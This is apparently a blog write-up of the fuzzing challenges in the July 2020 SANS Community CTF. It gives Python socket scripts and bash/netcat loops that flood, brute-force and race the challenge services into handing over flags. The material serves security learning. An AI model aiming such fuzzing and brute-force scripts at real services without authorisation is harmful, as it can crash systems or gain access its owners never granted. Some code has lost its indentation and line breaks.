SANS Community CTF — Fuzzing

EricaZelic
7 min readJul 11, 2020

By EricaZeli c— July 9–11, 2020

While the world may be closed due to COVID-19, there have been many great Capture the Flag (CTF) events and virtual gatherings as a result. SANS, an industry leader in cybersecurity training also known for their very popular “Holiday Hack CTF”, is no exception. In 2020, SANS has been offering community mini-NetWars and CTF events such as Jupiter Rockets CTF, BootUp CTF, and SANS Community CTF. These events have been free to attend and available for everyone. Thank you SANS! ❤ This post will feature some of the challenges from SANS Community CTF.

If you want to participate in future SANS community events, mark your calendars and register at the following link: https://www.sans.org/blog/and-now-for-something-awesome-sans-launches-new-series-of-worldwide-capture-the-flag-cyber-events/

OK, let’s get started. In this post we will be focusing on the fuzzing challenges: F01, F02, F03, and F04. We used simple scripts to solve all of them.

Interacting with the service, we see the following output:

We’ll send the program varying lengths of A’s to see if we can observe different behavior. For starters, we can see that the program accepts a string of 26 characters plus a new line (“\n”) before it reproduces the original prompt:

Since this is a fuzzing challenge, our goal is to crash the program, cause a memory corruption, or take control of the program in a way that wasn’t intended. There are several ways to solve this challenge. One way is to write a script to keep sending input until the connection closes.

import socket#define variables for connection
server = 'F01-target.allyourbases.co'
port = 8142
#create a socket and send the first input
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, port))
s.recv(1024)
s.send("A" + "\n")
#send 100 A's for subsequent inputs and print flag if received
for i in range(1,23):
s.send("A"*100 + "\n")
a = s.recv(1024)
if "Flag" in a:
#print(i+1)
print(a)

Sending the program 100 A’s over and over again eventually returns the flag. The specific loop above would iterate 22 times before printing the flag.

If you change the amount of A’s you send in the loop, you can see how many times the loop completes an iteration. For example, if we send 200 A’s, the loop will iterate 16 to 18 times before giving the flag. This implies that if we send the program somewhere between 2100 and 3200 A’s, we might get a flag. It turns out that sending the program 2161 A’s as input will also return the flag after the protocol re-initializes 79 times. On the 80th time, our Security UID changes to 1.

kali@kali:~/Desktop/SANS$ python -c 'print "A"*2161' | nc F01-target.allyourbases.co 8142
Network protocol expects validation frame. Value: DEBUG: User input is sizeof(27). Security UID is 0.
Retrying processor. Protocol re-ininitialize.
Network protocol expects validation frame. Value: DEBUG: User input is sizeof(27). Security UID is 0.
Retrying processor. Protocol re-ininitialize.
Network protocol expects validation frame. Value: DEBUG: User input is sizeof(27). Security UID is 0.
Retrying processor. Protocol re-ininitialize.
...[SNIP]...
Network protocol expects validation frame. Value: DEBUG: User input is sizeof(27). Security UID is 0.
Retrying processor. Protocol re-ininitialize.
Network protocol expects validation frame. Value: Security UID is 1.
Flag[KindCleverFuzzerUAre]

We decided to reveal the hint for this challenge to give us a little nudge.

This hint was very helpful. The first thing we had to do was find out what character of input it was expecting. If we look at an ASCII chart, we can see our keyboard characters are in range of 33 to 126. We can loop through that range to see if we got any different output:

import socket#define variables for connection
server = 'F02-target.allyourbases.co'
port = 8143
#iterate through ascii keyboard set
for i in range(33,126):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, port))
s.recv(1024)
print(chr(i))
s.send(chr(i) + "\n")
a = s.recv(1024)
print(a)

Looking at the output, we see there’s a different response from the program when we send the character ;

Great. Let’s send the program 1000 ; characters and observe what happens.

From this output, we can deduce that the buffer for each prompt is somewhere between 83 and 100 characters. We can also deduce it will take us 6 prompts to arrive at the point where we want to enter the UID we want to become. Deducing that the offset will occur somewhere between 500 and 600 ;characters, it’s fairly easy to arrive at the offset of 536 ; characters. Now we can supply the program a single 1 and we get the flag.

We can send anywhere from 496 ;characters + 41 1 characters to 536 characters + one 1character and receive the flag. Alternatively, we can utilize a small python script to achieve the same:

import socketserver = 'F02-target.allyourbases.co'
port = 8143
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, port))
s.recv(1024)
for i in range(1,6):
s.send(";"*98 + "\n")
print(i)
s.recv(1024)
s.send(";" + "1"*41 +"\n")
print(s.recv(1024))
print("[!] F02 = " + s.recv(1024).split()[6])

Here the lesson was that if we can control certain aspects of the program we may be able to change it’s execution in ways which were never intended.

If we connect to the service and hit return we get a 10 or 11 digit number. If we do this repeatedly we can see the numbers are often similar. The numbers that are similar are always increasing. If we do this enough times, we see that sometimes we get a number that represents epoch time and the other numbers are multiples of epoch time or just future epoch time.

There are several ways you can approach this challenge. We’ll demonstrate two methods here. First we’ll connect to the program in a loop, create an epoch time stamp, multiply it by 10, change it to a string and send it to the server repeatedly until we get a match.

import socket
import time

server = 'F03-target.allyourbases.co'
port = 8146

while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, port))
s.recv(1024)
t = int(time.time())
t = t * 10
t = str(t)
print(t)
s.send(t + "\n")
a = s.recv(1024)
print(a)
if "Flag" in a:
break

And we get the flag:

Another way we’ll show is with a race condition. We’ll connect to the server and send a new line (“\n”) to retrieve the token. Then we’ll grab the token provided by the server and resubmit it. We’ll do this continually until the race condition gives us a match.

import socket

while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('F03-target.allyourbases.co', 8146))
s.recv(1024)
s.send("\n")
a = str(s.recv(1024).split()[6].decode("utf-8"))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('F03-target.allyourbases.co', 8146))
s.recv(1024)
s.send(a + "\n")
flag = (s.recv(1024))
if "Flag" in flag:
print(flag.split()[7])
break

And we get the flag this way too:

Connecting to the program reveals it wants us to supply it with a 4 character command. The obligatory HELP command produced nothing.

Since this is a fuzzing challenge, that’s what we’ll do. We could approach this by brute forcing with a wordlist of 4 letter verbs, or we can try to enumerate the command character by character. We’ll attempt to enumerate the command with a bash for loop:

for x in {A..Z}; do echo $x;echo $x | nc F04-target.allyourbases.co 8154; done

Paying close attention to the output, we can see the program responds with something different when we send it the character V:

Next we’ll append the letter V in front of our variable and loop again:

for x in {A..Z}; do echo V$x;echo V$x | nc F04-target.allyourbases.co 8154; done

Again we can see that we receive different output at the letter I.

Appending the I and running the loop again gives us:

for x in {A..Z}; do echo VI$x;echo VI$x | nc F04-target.allyourbases.co 8154; done
for x in {A..Z}; do echo VIN$x;echo VIN$x | nc F04-target.allyourbases.co 8154; done

This concludes our write-up of the Fuzzing challenges from SANS Community CTF July 9–11, 2020. We really enjoyed doing these challenges. They required us to analyze output, utilize scripting skills/automation, and were achievable in a relatively short time. We picked up some new tricks, honed some skills, worked together, and had a fun time. Thanks again to SANS and everyone involved for the great event.

--

--